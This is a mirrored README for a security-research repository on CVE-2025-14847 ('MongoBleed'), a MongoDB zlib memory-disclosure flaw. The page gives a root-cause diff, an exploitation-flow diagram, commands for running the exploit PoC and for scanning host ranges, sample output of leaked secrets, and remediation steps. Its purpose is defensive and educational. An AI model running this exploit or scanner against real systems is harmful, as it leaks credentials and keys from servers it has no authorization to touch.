mongobleed-exploit-CVE-2025-14847

KO | EN

gitlite — search

#python #react #typescript #llm #golang #docker #nodejs #java #windows #cli #awesome-list #vue #security #open-source

mongobleed-exploit-CVE-2025-14847

(★ 13)

Exploit lab, docker and code scanner for mongobleed Vulnerability CVE-2025-14847 plus Phoenix Security Sync tools

mongobleed-exploit-CVE-2025-14847 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# 🩸 MongoBleed - CVE-2025-14847 Security Research Lab

CVE-2025-14847 | CVSS 8.7 (High) | Unauthenticated Memory Disclosure

<a href="DOCUMENTATION.md">📖 Full Documentation</a> •
 <a href="TECHNICAL_ANALYSIS.md">🔬 Technical Analysis</a> •
 <a href="QUICK_COMMANDS.md">⚡ Quick Commands</a>

---

## 🎯 CVE-2025-14847 Summary

**MongoBleed** is a critical memory disclosure vulnerability in MongoDB's network transport layer that allows **unauthenticated remote attackers** to exfiltrate sensitive heap memory without any credentials or user interaction.

### Impact
| Category | Description |
|----------|-------------|
| **Attack Type** | Remote, unauthenticated memory disclosure |
| **Root Cause** | Zlib decompression returns allocated buffer size instead of actual data length |
| **Data Exposed** | Database passwords, API keys, session tokens, AWS credentials, internal server state |
| **Severity** | **CVSS 8.7 (High)** - Network-accessible, no auth required |
| **Exploitation** | Active exploitation observed in the wild since Dec 28, 2025 |

### Vulnerable Versions (At a Glance)

| Branch | Vulnerable | Fixed | Action |
|--------|------------|-------|--------|
| **8.2.x** | 8.2.0 → 8.2.2 | **8.2.3** | Upgrade immediately |
| **8.0.x** | 8.0.0 → 8.0.16 | **8.0.17** | Upgrade immediately |
| **7.0.x** | 7.0.0 → 7.0.27 | **7.0.28** | Upgrade immediately |
| **6.0.x** | 6.0.0 → 6.0.26 | **6.0.27** | Upgrade immediately |
| **5.0.x** | 5.0.0 → 5.0.31 | **5.0.32** | Upgrade immediately |
| **4.4.x** | 4.4.0 → 4.4.29 | **4.4.30** | Upgrade immediately |
| **≤4.2.x** | All versions | None | ⚠️ EOL - Migrate to supported version |

> 📖 **[See Full Affected Versions Table →](DOCUMENTATION.md#affected-versions)**

### Exposure Scale
- **87,000 - 194,000** MongoDB instances publicly exposed
- **42%** of cloud environments host vulnerable instances (Wiz Research)
- **No authentication required** - attack occurs pre-auth
- **Silent exploitation** - no logs, no crashes

---

## TL;DR for Engineering Teams

| Aspect | Details |
|--------|---------|
| **What is vulnerable** | MongoDB Server network transport layer using zlib compression |
| **Severity** | High (CVSS 8.7/7.5) |
| **Impact** | Unauthenticated, remote disclosure of uninitialised heap memory |
| **Why it matters** | Leaked fragments contain database passwords, AWS secret keys, and internal server states |
| **Exploit status** | Public Proof-of-Concept (PoC) "mongobleed" is validated and circulating |
| **What to do today** | Upgrade to patched versions immediately or disable zlib compression |

## 🔬 Vulnerability Anatomy

### Technical Analysis

The vulnerability exists in MongoDB's network transport layer (`message_compressor_zlib.cpp`) where a critical flaw in the zlib decompression logic allows unauthenticated attackers to leak sensitive server memory.

#### Root Cause

```cpp
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ Returns ALLOCATED buffer size

// PATCHED CODE (after fix)  
counterHitDecompress(input.length(), output.length());
return length;             // ✅ Returns ACTUAL decompressed data length
```

#### Exploitation Flow

```
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```

### Discovery Timeline

| Date | Event |
|------|-------|
| 15 Dec 2025 | Vulnerability identified; internal ticket SERVER-115508 |
| 19 Dec 2025 | Fix released, CVE-2025-14847 disclosed |
| 24 Dec 2025 | MongoDB Atlas fleet patched |
| 26 Dec 2025 | Public PoC "mongobleed" released |
| 28 Dec 2025 | Exploitation observed in the wild |

> 🔬 **[See Technical Analysis →](TECHNICAL_ANALYSIS.md)** for detailed vulnerability anatomy, exploit construction, and detection methods.

## 📁 Project Structure

```
mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 Exploit Lab
│   ├── docker-compose.yml      # Vulnerable + Patched MongoDB instances
│   ├── mongobleed.py           # Memory leak exploit PoC
│   ├── init/init-mongo.js      # Sensitive test data
│   ├── test-exploit.sh         # Lab test script
│   └── README.md               # Lab documentation
│
├── scanner/                    # 🌐 Network Scanner
│   ├── mongobleed_scanner.py   # IP/domain vulnerability scanner
│   ├── sample-targets.txt      # Sample targets file
│   └── README.md               # Scanner documentation
│
├── code-scan/                  # 📂 Code Scanner
│   ├── main.py                 # CLI entry point
│   ├── scanners/               # Docker, Python, Infra scanners
│   ├── models/                 # Finding, Vulnerability models
│   ├── integrations/           # Phoenix Security upload
│   └── README.md               # Code scanner documentation
│
└── original-exploit/           # 📚 Original PoC reference
```

## 🚀 Quick Start

### 1. Exploit Lab

```bash
cd exploit

# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10

# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017

# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018

# Full lab test
./test-exploit.sh
```

### 2. Network Scanner

```bash
cd scanner

# Scan single host
python3 mongobleed_scanner.py 192.168.1.100

# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24

# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
```

### 3. Code Scanner

```bash
cd code-scan

# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project

# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix

# Run tests
python3 main.py test
```

## ⚡ Quick Commands

```bash
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10

# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017

# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018

# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .

# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json

# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
```

## 📊 Output Examples

### Exploit Output

```
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42

[!] Potential secrets detected:
    • RSA Private Key
    • Lab Secret
```

### Network Scanner Output

```
[*] Scanning 254 targets with 10 threads...

[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]

SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts:       12
MongoDB instances:     8
VULNERABLE:            3
```

### Code Scanner Output

```
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================

🚨 VULNERABLE MONGODB VERSIONS DETECTED

1. mongo@8.2.2
   File: /project/docker-compose.yml
   Type: docker-compose
   Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
   ✅ Upgrade to: 8.2.3
   CVE: CVE-2025-14847
```

## 🛡️ Remediation Summary

| Priority | Action | Details |
|----------|--------|---------|
| 🔴 **1** | **Upgrade MongoDB** | Update to fixed versions (8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30) |
| 🟠 **2** | **Disable zlib** | `mongod --setParameter networkMessageCompressors=snappy,zstd` |
| 🟡 **3** | **Network isolation** | Firewall port 27017, use VPN/private networking |
| 🔵 **4** | **Rotate credentials** | If exposed, rotate all database passwords, API keys, tokens |

> 📖 **[See Full Remediation Guide →](DOCUMENTATION.md#remediation)**

---

## 🔗 Phoenix Security Integration

All scanners support uploading findings to Phoenix Security platform:

```bash
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config

# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud

# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
```

---

## 🔐 Security Notice

⚠️ **IMPORTANT**: This toolkit is provided for authorized security testing and research purposes only.

- Only test systems you own or have explicit written permission to test
- Unauthorized access to computer systems is illegal
- Leaked data may contain sensitive information - handle responsibly
- Report vulnerabilities through proper disclosure channels

## 📚 Documentation

### Core Documentation

| Document | Description |
|----------|-------------|
| 📖 [**DOCUMENTATION.md**](DOCUMENTATION.md) | Complete project documentation with setup, usage, and remediation |
| 🔬 [**TECHNICAL_ANALYSIS.md**](TECHNICAL_ANALYSIS.md) | In-depth vulnerability anatomy, exploit mechanism, and detection |
| ⚡ [**QUICK_COMMANDS.md**](QUICK_COMMANDS.md) | Copy-paste ready commands for all tools |

### Tool Documentation

| Tool | Documentation | Description |
|------|---------------|-------------|
| 🔴 Exploit Lab | [exploit/README.md](exploit/README.md) | Docker-based vulnerable/patched MongoDB lab |
| 🌐 Network Scanner | [scanner/README.md](scanner/README.md) | IP/CIDR vulnerability scanner |
| 📂 Code Scanner | [code-scan/README.md](code-scan/README.md) | Codebase scanner for vulnerable versions |

## 🔗 External References

- [OX Security Advisory](https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/)
- [MongoDB Fix Commit](https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728)
- [NVD Entry - CVE-2025-14847](https://nvd.nist.gov/vuln/detail/CVE-2025-14847)

## 👤 Credits

- Original exploit by **Joe Desimone** ([@dez_](https://x.com/dez_))
- Lab environment and scanner enhancements for security research

## 📄 License

For authorized security testing only. Use responsibly.

---

**Last Updated**: December 2025

mongobleed-exploit-CVE-2025-14847

mongobleed-exploit-CVE-2025-14847 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

mongobleed-exploit-CVE-2025-14847

mongobleed-exploit-CVE-2025-14847 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README